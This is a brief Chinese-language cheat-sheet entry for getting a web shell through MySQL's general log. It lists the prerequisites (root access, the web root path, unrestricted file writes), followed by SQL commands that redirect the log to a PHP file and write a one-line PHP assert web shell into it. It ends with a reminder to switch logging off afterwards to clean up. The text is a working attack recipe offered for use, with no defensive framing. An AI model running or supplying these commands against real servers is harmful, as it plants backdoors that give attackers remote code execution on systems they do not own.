MySQL Log Getshell

require:

• root权限.
• 网站物理路径.
• 文件位置未被限制.

set global general_log = on;
set global general_log_file = 'F:/phpStudy/WWW/a.php';
select '<?php assert($_POST[a]) ?>';
set global general_log = off;

别忘了处理后事 (off).